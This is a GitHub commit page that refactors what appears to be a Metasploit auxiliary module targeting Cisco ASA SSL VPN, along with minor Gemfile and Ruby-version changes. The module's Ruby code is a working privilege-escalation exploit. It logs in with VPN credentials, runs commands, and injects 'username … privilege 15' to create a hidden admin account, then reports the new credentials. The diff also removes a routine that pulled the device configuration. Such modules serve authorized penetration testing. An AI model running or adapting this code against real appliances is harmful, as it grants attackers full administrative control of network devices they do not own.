Skip to content

Commit 595b4d2

Browse files
author
Jonathan Claudius
committed
Clean up aux check review comments
1 parent 3a100e0 commit 595b4d2

File tree

4 files changed

+47
-59
lines changed

4 files changed

+47
-59
lines changed

.ruby-version

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
1.9.3-p484
1+
ruby-1.9.3-p547

Gemfile

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,8 @@ group :development do
3737
gem 'redcarpet'
3838
# generating documentation
3939
gem 'yard'
40+
41+
gem 'pry'
4042
end
4143

4244
group :development, :test do

Gemfile.lock

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ GEM
1515
arel (3.0.2)
1616
bcrypt-ruby (3.1.2)
1717
builder (3.0.4)
18+
coderay (1.1.0)
1819
database_cleaner (1.1.1)
1920
diff-lcs (1.2.4)
2021
factory_girl (4.2.0)
@@ -26,6 +27,7 @@ GEM
2627
activerecord (>= 3.2.13)
2728
activesupport
2829
pg
30+
method_source (0.8.2)
2931
mini_portile (0.5.1)
3032
msgpack (0.5.5)
3133
multi_json (1.0.4)
@@ -35,6 +37,10 @@ GEM
3537
packetfu (1.1.9)
3638
pcaprub (0.11.3)
3739
pg (0.16.0)
40+
pry (0.10.1)
41+
coderay (~> 1.1.0)
42+
method_source (~> 0.8.1)
43+
slop (~> 3.4)
3844
rake (10.1.0)
3945
redcarpet (3.0.0)
4046
rkelly-remix (0.0.6)
@@ -53,6 +59,7 @@ GEM
5359
multi_json (~> 1.0.3)
5460
simplecov-html (~> 0.5.3)
5561
simplecov-html (0.5.3)
62+
slop (3.6.0)
5663
timecop (0.6.3)
5764
tzinfo (0.3.37)
5865
yard (0.8.7)
@@ -75,6 +82,7 @@ DEPENDENCIES
7582
packetfu (= 1.1.9)
7683
pcaprub
7784
pg (>= 0.11)
85+
pry
7886
rake (>= 10.0.0)
7987
redcarpet
8088
rkelly-remix (= 0.0.6)

modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb

Lines changed: 36 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -51,21 +51,18 @@ def initialize(info = {})
5151

5252
end
5353

54-
# Verify whether the connection is working or not
55-
def validate_connection
54+
def validate_cisco_ssl_vpn
5655
begin
5756
res = send_request_cgi(
5857
'uri' => '/',
5958
'method' => 'GET'
6059
)
6160

62-
print_good("#{peer} - Server is responsive")
61+
print_good "#{peer} - Server is responsive"
6362
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
64-
fail_with(Failure::NoAccess, "#{peer} - Server is unresponsive")
63+
return false
6564
end
66-
end
6765

68-
def validate_cisco_ssl_vpn
6966
res = send_request_cgi(
7067
'uri' => '/+CSCOE+/logon.html',
7168
'method' => 'GET'
@@ -84,10 +81,9 @@ def validate_cisco_ssl_vpn
8481
if res &&
8582
res.code == 200 &&
8683
res.body.include?('webvpnlogin')
87-
88-
print_good("#{peer} - Server is Cisco SSL VPN")
84+
return true
8985
else
90-
fail_with(Failure::NoAccess, "#{peer} - Server is not a Cisco SSL VPN")
86+
return false
9187
end
9288
end
9389

@@ -100,9 +96,7 @@ def do_logout(cookie)
10096

10197
if res &&
10298
res.code == 200
103-
print_good("#{peer} - Logged out")
104-
else
105-
fail_with(Failure::NoAccess, "#{peer} - Attempted to logout, but failed")
99+
print_good "#{peer} - Logged out"
106100
end
107101
end
108102

@@ -132,53 +126,31 @@ def do_show_version(cookie, tries = 3)
132126
resp.body.include?('Cisco Adaptive Security Appliance Software Version')
133127
return resp.body
134128
else
135-
print_good("#{peer} - Unable to run '#{command}'")
136-
print_good("#{peer} - Retrying #{i} '#{command}'") unless i == 2
137-
end
138-
end
139-
140-
return nil
141-
end
142-
143-
def get_config(cookie, tries = 10)
144-
# Make up to three attempts because server can be a little flaky
145-
tries.times do |i|
146-
resp = send_request_cgi(
147-
'uri' => "/admin/config",
148-
'method' => 'GET',
149-
'cookie' => cookie
150-
)
151-
152-
if resp &&
153-
resp.body.include?('ASA Version')
154-
print_good("#{peer} - Got Config!!!")
155-
return resp.body
156-
else
157-
print_good("#{peer} - Unable to grab config")
158-
print_good("#{peer} - Retrying #{i} to grab config (technique 1)") unless i == tries - 1
129+
vprint_error "#{peer} - Unable to run '#{command}'"
130+
print_good "#{peer} - Retrying #{i} '#{command}'" unless i == 2
159131
end
160132
end
161133

162134
return nil
163135
end
164136

165-
def add_user(cookie, tries = 10)
137+
def add_user(cookie, tries = 3)
166138
username = random_username()
167139
password = random_password()
168140

169141
tries.times do |i|
170-
print_good("#{peer} - Attemping to add User: #{username}, Pass: #{password}")
142+
print_good "#{peer} - Attemping to add User: #{username}, Pass: #{password}"
171143
command = "username #{username} password #{password} privilege 15"
172144
resp = run_command(command, cookie)
173145

174146
if resp &&
175147
!resp.body.include?('Command authorization failed') &&
176148
!resp.body.include?('Command failed')
177-
print_good("#{peer} - Privilege Escalation Appeared Successful")
149+
print_good "#{peer} - Privilege Escalation Appeared Successful"
178150
return [username, password]
179151
else
180-
print_good("#{peer} - Unable to run '#{command}'")
181-
print_good("#{peer} - Retrying #{i} '#{command}'") unless i == tries - 1
152+
vprint_error "#{peer} - Unable to run '#{command}'"
153+
print_good "#{peer} - Retrying #{i} '#{command}'" unless i == tries - 1
182154
end
183155
end
184156

@@ -230,29 +202,29 @@ def do_login(user, pass, group)
230202
resp.body.include?('SSL VPN Service') &&
231203
resp.body.include?('webvpn_logout')
232204

233-
print_good("#{peer} - Logged in with User: #{datastore['USERNAME']}, Pass: #{datastore['PASSWORD']} and Group: #{datastore['GROUP']}")
205+
print_good "#{peer} - Logged in with User: #{datastore['USERNAME']}, Pass: #{datastore['PASSWORD']} and Group: #{datastore['GROUP']}"
234206
return resp.get_cookies
235207
else
236-
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate, check username/password/group")
208+
return false
237209
end
238210

239211
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
240-
fail_with(Failure::NoAccess, "#{peer} - HTTP Connection Failed, Aborting")
212+
return false
241213
end
242214
end
243215

244-
def exploit
245-
# Validate we have a valid connection
246-
validate_connection()
247-
216+
def run_host(ip)
248217
# Validate we're dealing with Cisco SSL VPN
249-
validate_cisco_ssl_vpn()
218+
unless validate_cisco_ssl_vpn()
219+
vprint_error "#{peer} - Does not appear to be Cisco SSL VPN"
220+
:abort
221+
end
250222

251223
# This is crude, but I've found this to be somewhat
252224
# interimittent based on session, so we'll just retry
253225
# 'X' times.
254226
datastore['RETRIES'].times do |i|
255-
print_good("#{peer} - Exploit Attempt ##{i}")
227+
print_good "#{peer} - Exploit Attempt ##{i}"
256228

257229
# Authenticate to SSL VPN and get session cookie
258230
cookie = do_login(
@@ -261,24 +233,30 @@ def exploit
261233
datastore['GROUP']
262234
)
263235

236+
# See if our authentication attempt failed
237+
unless cookie
238+
vprint_error "#{peer} - Failed to login to Cisco SSL VPN"
239+
next
240+
end
241+
264242
# Grab version
265-
version = do_show_version(cookie, 1)
243+
version = do_show_version(cookie)
266244

267-
if version_match = version.match(/Cisco Adaptive Security Appliance Software Version ([\d+\.\(\)]+)/)
268-
print_good("#{peer} - Show version succeeded. Version is Cisco ASA #{version_match[1]}")
245+
if version &&
246+
version_match = version.match(/Cisco Adaptive Security Appliance Software Version ([\d+\.\(\)]+)/)
247+
print_good "#{peer} - Show version succeeded. Version is Cisco ASA #{version_match[1]}"
269248
else
270249
do_logout(cookie)
271-
print_good("#{peer} - Show version failed")
250+
vprint_error "#{peer} - Show version failed"
272251
next
273252
end
274253

275254
# Attempt to add an admin user
276-
creds = add_user(cookie, 1)
277-
255+
creds = add_user(cookie)
278256
do_logout(cookie)
279257

280258
if creds
281-
print_good("#{peer} - Successfully added level 15 account #{creds.join(", ")}")
259+
print_good "#{peer} - Successfully added level 15 account #{creds.join(", ")}"
282260

283261
user, pass = creds
284262

@@ -294,7 +272,7 @@ def exploit
294272

295273
report_auth_info(report_hash)
296274
else
297-
print_good("#{peer} - Failed to created user account")
275+
vprint_error "#{peer} - Failed to created user account on Cisco SSL VPN"
298276
end
299277
end
300278
end

0 commit comments

Comments
 (0)